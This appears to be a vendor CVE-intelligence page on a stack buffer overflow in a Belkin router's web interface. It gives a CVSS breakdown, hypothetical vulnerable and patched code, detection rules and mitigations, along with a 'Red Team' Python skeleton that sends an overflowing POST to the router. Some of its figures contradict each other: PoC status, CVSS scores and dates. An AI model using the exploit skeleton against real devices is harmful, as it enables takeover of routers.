☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-7094

CVE-2025-7094 Stack Buffer Overflow in Belkin
📅 PUBLISHED: 2025-07-06 21:02 UTC 🔄 UPDATED: 2026-09-23 20:13 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.90%
👁️
0.90% probability
22.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-7094 is a critical stack-based buffer overflow vulnerability in the Belkin F9K1122 router (firmware version 1.00.33). The flaw resides in the formBSSetSitesurvey function within the /goform/formBSSetSitesurvey endpoint of the web server component. By manipulating the submit-url-ok argument, an unauthenticated remote attacker can trigger a buffer overflow, leading to arbitrary code execution with root privileges. The exploit has been publicly disclosed, and no patch is available from the vendor. This vulnerability poses a severe risk to network integrity and confidentiality.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The vulnerability is remotely exploitable without authentication, making it a high-priority threat for any network using the affected device.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the Belkin F9K1122 router's web interface. The formBSSetSitesurvey function handles Wi-Fi site survey requests. It copies the submit-url-ok parameter into a fixed-size stack buffer without proper bounds checking. By sending a crafted HTTP POST request with an overly long submit-url-ok value, an attacker can overwrite the return address and other critical stack data.

The web server runs with root privileges, so successful exploitation grants full control over the device. The overflow can be used to execute arbitrary shellcode, install backdoors, or pivot to internal networks.

Root Cause: Lack of input validation and unsafe use of functions like strcpy or sprintf in the firmware's web server code.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only known version. The following is a hypothetical representation of the vulnerable function:

Vulnerable Code (C pseudocode):

void formBSSetSitesurvey(struct request *req) {
    char buffer[256];
    char *url = get_param(req, "submit-url-ok");
    // No bounds check
    strcpy(buffer, url);
    // ... process buffer
}

Patched Code (Hypothetical):

void formBSSetSitesurvey(struct request *req) {
    char buffer[256];
    char *url = get_param(req, "submit-url-ok");
    if (strlen(url) >= sizeof(buffer)) {
        // Return error
        return;
    }
    strcpy(buffer, url);
    // ... process buffer
}

The fix would involve adding a length check before copying the input into the stack buffer.

Exploitation & Lab Setup

Red Team (Exploitation)

The public exploit uses a crafted HTTP POST request to trigger the overflow. Below is a Python script demonstrating the exploit:

import socket

target_ip = "192.168.1.1"
port = 80

# Shellcode placeholder (replace with actual shellcode)
shellcode = b"\x90" * 100  # NOP sled + shellcode

# Overflow payload: fill buffer + overwrite return address
payload = b"A" * 256 + b"BBBB" + shellcode

http_request = (
    f"POST /goform/formBSSetSitesurvey HTTP/1.1\r\n"
    f"Host: {target_ip}\r\n"
    f"Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {len(payload)}\r\n"
    f"\r\n"
    f"submit-url-ok={payload.decode('latin-1')}"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, port))
sock.send(http_request.encode())
sock.close()

Usage: Replace target_ip with the router's IP. The shellcode must be tailored to the target architecture (MIPS or ARM). The exploit triggers a buffer overflow, allowing remote code execution.

Blue Team (Detection & Defense)

  • Network Monitoring: Look for HTTP POST requests to /goform/formBSSetSitesurvey with abnormally long submit-url-ok parameters.
  • Host Monitoring: Monitor for unexpected processes or connections from the router.
  • Mitigation: Isolate the router on a separate VLAN, disable remote management, and apply firewall rules to block external access to the web interface.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /goform/formBSSetSitesurvey with payloads exceeding 256 bytes.
    • Outbound connections from the router to unknown IPs on non-standard ports.
  • File IOCs:
    • Modified firmware binaries or unexpected files in /tmp or /var.
  • Behavioral IOCs:
    • Router rebooting unexpectedly or performing unusual DNS queries.

Detection Engineering

YARA Rule

rule CVE_2025_7094_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-7094 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $http_method = "POST"
        $uri = "/goform/formBSSetSitesurvey"
        $param = "submit-url-ok="
        $overflow = /submit-url-ok=[A-Za-z0-9%]{256,}/
    condition:
        $http_method and $uri and $param and $overflow
}

Sigma Rule

title: CVE-2025-7094 Exploit Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests with long submit-url-ok parameter
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/formBSSetSitesurvey'
        cs-uri-query|contains: 'submit-url-ok='
        sc-bytes|gte: 256
    condition: selection
falsepositives:
    - Legitimate long URLs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7094 Exploit Attempt"; flow:to_server; content:"POST"; http_method; content:"/goform/formBSSetSitesurvey"; http_uri; content:"submit-url-ok="; http_client_body; pcre:"/submit-url-ok=.{256,}/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

  • Immediate Actions:
    • Disable remote management and UPnP on the router.
    • Restrict access to the web interface to trusted IPs only.
    • Monitor for exploit attempts using the provided detection rules.
  • Long-term Actions:
    • Replace the affected Belkin F9K1122 with a supported device.
    • Contact Belkin for a firmware update (though vendor is unresponsive).
    • Implement network segmentation to isolate IoT devices.

Valters IT
Securing Your Digital Frontier

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-7094/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.